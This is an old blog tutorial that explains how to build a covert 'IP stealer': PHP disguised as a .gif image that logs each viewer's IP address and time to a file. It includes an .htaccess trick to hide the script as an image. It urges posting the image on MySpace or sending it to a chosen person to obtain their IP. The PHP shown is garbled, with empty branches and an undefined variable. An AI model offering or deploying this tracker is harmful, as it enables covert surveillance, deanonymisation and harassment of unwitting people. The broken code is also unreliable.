Get anyone's IP address

Thursday, October 15, 2009

Okay, this is a very simple tutorial, but I see a lot of requests 'WELL HOW DO I GET THURR IP ADDRESS'. Well, it's very simple. Here's what you're going to need:

  • A web host that supports PHP. A good free one is
  • .htaccess
  • shakira.gif
  • A real pic of shakira (or any image you'd like)
  • ips.txt

Alright, so in a folder create an ips.txt, .htaccess file, gather an image and open up your image editor to a blank tab, and let's begin! First off, here's what the code is going to look like for our IP stealer!
$myImage = imagecreatefromjpeg('shakira.jpg');
header("Content-type: image/jpg");

    if (!empty($_SERVER['HTTP_CLIENT_IP']))
    elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))

$v_date = date("l d F H:i:s");

$fp = fopen("ips.txt", "a");
fwrite($fp, "IP: \t$v_ip - DATE: \t$v_date\n\n");

First off, towards the top make sure that you change 'shakira.jpg' to the name of your image, or it will not work!

Okay, so what it's doing is at the top, it's basically grabbing the real image shakira.jpg and echoing it, and at the bottom is the IP stealer I've created. It's simple, and it's added a few extra measures in there so that even if they're behind a proxy, it'll still return THEIR IP. So, you paste all that in your editor, and save it as shakira.GIF. Yes, save it as a .gif file. The MIME types above that I used (jpeg) do NOT matter, as you'll see here. So, save it as shakira.gif.

Then, you can modify this part:
$fp = fopen("ips.txt", "a");
fwrite($fp, "IP: \t$v_ip - DATE: \t$v_date\n\n");

And, instead of using ips.txt, you can use HTML and make nice fancy tables and things, I like mine simple though. Easier to copy and paste and do what I will with it

In your .htaccess file, you're going to add the line:
AddHandler application/x-httpd-php .gif

This code will allow the .gif file extension to parse the PHP code, so that the image isn't a .php file and inconspicious.

So now, you're going to take the real image, shakira.gif, ips.txt and the .htaccess file and upload them all to your freehostia account. Now, you can link the image in a myspace and get IPs that way, or if you need a specific IP address you can tell a person to look at your pic and link them to it, etc. You get the picture, use your imagination!